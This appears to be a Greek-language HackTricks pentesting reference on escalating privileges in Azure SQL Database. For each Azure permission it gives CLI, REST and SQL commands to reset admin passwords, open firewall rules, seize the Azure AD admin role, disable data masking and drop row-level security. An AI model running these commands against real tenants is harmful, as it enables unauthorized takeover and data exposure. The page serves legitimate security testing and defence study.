Az - SQL Database Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

SQL Database Privesc

Για περισσότερες πληροφορίες σχετικά με τη SQL Database, ελέγξτε:

Az - SQL

Microsoft.Sql/servers/read && Microsoft.Sql/servers/write

Με αυτές τις άδειες, ένας χρήστης μπορεί να εκτελέσει κλιμάκωση προνομίων ενημερώνοντας ή δημιουργώντας Azure SQL servers και τροποποιώντας κρίσιμες ρυθμίσεις, συμπεριλαμβανομένων των διαπιστευτηρίων διαχειριστή. Αυτή η άδεια επιτρέπει στον χρήστη να ενημερώνει τις ιδιότητες του διακομιστή, συμπεριλαμβανομένου του κωδικού πρόσβασης του διαχειριστή SQL, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση ή έλεγχο του διακομιστή. Μπορούν επίσης να δημιουργήσουν νέους διακομιστές, ενδεχομένως εισάγοντας υποδομή σκιάς για κακόβουλους σκοπούς. Αυτό γίνεται ιδιαίτερα κρίσιμο σε περιβάλλοντα όπου η “Microsoft Entra Authentication Only” είναι απενεργοποιημένη, καθώς μπορούν να εκμεταλλευτούν την SQL-based authentication για να αποκτήσουν απεριόριστη πρόσβαση.

# Change the server password
az sql server update \
--name <server_name> \
--resource-group <resource_group_name> \
--admin-password <new_password>

# Create a new server
az sql server create \
--name <new_server_name> \
--resource-group <resource_group_name> \
--location <location> \
--admin-user <admin_username> \
--admin-password <admin_passwor d>

Επιπλέον, είναι απαραίτητο να έχετε ενεργοποιημένη την δημόσια πρόσβαση αν θέλετε να έχετε πρόσβαση από ένα μη ιδιωτικό σημείο, για να το ενεργοποιήσετε:

az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true

Επιπλέον, με τα δικαιώματα μπορείτε να ενεργοποιήσετε την ανατεθείσα ταυτότητα, να λειτουργήσετε με την διαχειριζόμενη ταυτότητα που είναι συνδεδεμένη με τον διακομιστή. Για παράδειγμα εδώ με μια διαχειριζόμενη ταυτότητα που μπορεί να έχει πρόσβαση στο Azure Storage:

az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--assign_identity
CREATE DATABASE SCOPED CREDENTIAL [ManagedIdentityCredential]
WITH IDENTITY = 'Managed Identity';
GO


CREATE EXTERNAL DATA SOURCE ManagedIdentity
WITH (
TYPE = BLOB_STORAGE,
LOCATION = 'https://<storage-account>.blob.core.windows.net/<container>',
CREDENTIAL = ManagedIdentityCredential
);
GO

SELECT *
FROM OPENROWSET(
BULK 'message.txt',
DATA_SOURCE = 'ManagedIdentity',
SINGLE_CLOB
) AS DataFile;
GO

Microsoft.Sql/servers/firewallRules/write

Ένας επιτιθέμενος μπορεί να χειριστεί τους κανόνες τείχους προστασίας στους Azure SQL servers για να επιτρέψει μη εξουσιοδοτημένη πρόσβαση. Αυτό μπορεί να εκμεταλλευτεί για να ανοίξει τον διακομιστή σε συγκεκριμένες διευθύνσεις IP ή σε ολόκληρες περιοχές IP, συμπεριλαμβανομένων των δημόσιων IP, επιτρέποντας την πρόσβαση σε κακόβουλους παράγοντες. Αυτή η δραστηριότητα μετά την εκμετάλλευση μπορεί να χρησιμοποιηθεί για να παρακαμφθούν οι υπάρχοντες ελέγχοι ασφάλειας δικτύου, να καθιερωθεί επιμονή ή να διευκολυνθεί η πλευρική κίνηση εντός του περιβάλλοντος εκθέτοντας ευαίσθητους πόρους.

# Create Firewall Rule
az sql server firewall-rule create \
--name <new-firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <start-ip-address> \
--end-ip-address <end-ip-address>

# Update Firewall Rule
az sql server firewall-rule update \
--name <firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>

Επιπλέον, η άδεια Microsoft.Sql/servers/outboundFirewallRules/delete σας επιτρέπει να διαγράψετε έναν κανόνα τείχους προστασίας.
ΣΗΜΕΙΩΣΗ: Είναι απαραίτητο να έχετε ενεργοποιημένη την δημόσια πρόσβαση.

Microsoft.Sql/servers/ipv6FirewallRules/write

Με αυτή την άδεια, μπορείτε να δημιουργήσετε, να τροποποιήσετε ή να διαγράψετε κανόνες τείχους προστασίας IPv6 σε έναν Azure SQL Server. Αυτό θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο ή εξουσιοδοτημένο χρήστη να παρακάμψει τις υπάρχουσες ρυθμίσεις ασφαλείας δικτύου και να αποκτήσει μη εξουσιοδοτημένη πρόσβαση στον διακομιστή. Προσθέτοντας έναν κανόνα που επιτρέπει την κυκλοφορία από οποιαδήποτε διεύθυνση IPv6, ο επιτιθέμενος θα μπορούσε να ανοίξει τον διακομιστή για εξωτερική πρόσβαση.

az sql server firewall-rule create \
--server <server_name> \
--resource-group <resource_group_name> \
--name <rule_name> \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>

Επιπλέον, η άδεια Microsoft.Sql/servers/ipv6FirewallRules/delete σας επιτρέπει να διαγράψετε έναν κανόνα τείχους προστασίας.
ΣΗΜΕΙΩΣΗ: Είναι απαραίτητο να έχετε ενεργοποιημένη την δημόσια πρόσβαση.

Microsoft.Sql/servers/administrators/write && Microsoft.Sql/servers/administrators/read

Με αυτές τις άδειες μπορείτε να κάνετε privesc σε ένα περιβάλλον Azure SQL Server αποκτώντας πρόσβαση σε SQL βάσεις δεδομένων και ανακτώντας κρίσιμες πληροφορίες. Χρησιμοποιώντας την παρακάτω εντολή, ένας επιτιθέμενος ή εξουσιοδοτημένος χρήστης μπορεί να ορίσει τον εαυτό του ή έναν άλλο λογαριασμό ως τον διαχειριστή Azure AD. Εάν είναι ενεργοποιημένη η “Μόνο Αυθεντικοποίηση Microsoft Entra”, μπορείτε να αποκτήσετε πρόσβαση στον διακομιστή και τις παρουσίες του. Ακολουθεί η εντολή για να ορίσετε τον διαχειριστή Azure AD για έναν SQL διακομιστή:

az sql server ad-admin create \
--server <server_name> \
--resource-group <resource_group_name> \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>

Microsoft.Sql/servers/azureADOnlyAuthentications/write && Microsoft.Sql/servers/azureADOnlyAuthentications/read

Με αυτές τις άδειες, μπορείτε να ρυθμίσετε και να επιβάλετε την “Μόνο Αυθεντικοποίηση Microsoft Entra” σε έναν Azure SQL Server, κάτι που θα μπορούσε να διευκολύνει την κλιμάκωση προνομίων σε ορισμένα σενάρια. Ένας επιτιθέμενος ή ένας εξουσιοδοτημένος χρήστης με αυτές τις άδειες μπορεί να ενεργοποιήσει ή να απενεργοποιήσει την αυθεντικοποίηση μόνο μέσω Azure AD.

#Enable
az sql server azure-ad-only-auth enable \
--server <server_name> \
--resource-group <resource_group_name>

#Disable
az sql server azure-ad-only-auth disable \
--server <server_name> \
--resource-group <resource_group_name>

Microsoft.Sql/servers/databases/dataMaskingPolicies/write

Τροποποιήστε (ή απενεργοποιήστε) τις πολιτικές μάσκας δεδομένων στις βάσεις δεδομένων SQL σας.

az rest --method put \
--uri "https://management.azure.com/subscriptions/<your-subscription-id>/resourceGroups/<your-resource-group>/providers/Microsoft.Sql/servers/<your-server>/databases/<your-database>/dataMaskingPolicies/Default?api-version=2021-11-01" \
--body '{
"properties": {
"dataMaskingState": "Disable"
}
}'

Αφαίρεση Ασφάλειας Επίπεδου Γραμμής

Αν συνδεθείτε ως διαχειριστής, μπορείτε να αφαιρέσετε τις πολιτικές του διαχειριστή και άλλων χρηστών.

DROP SECURITY POLICY [Name_of_policy];

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks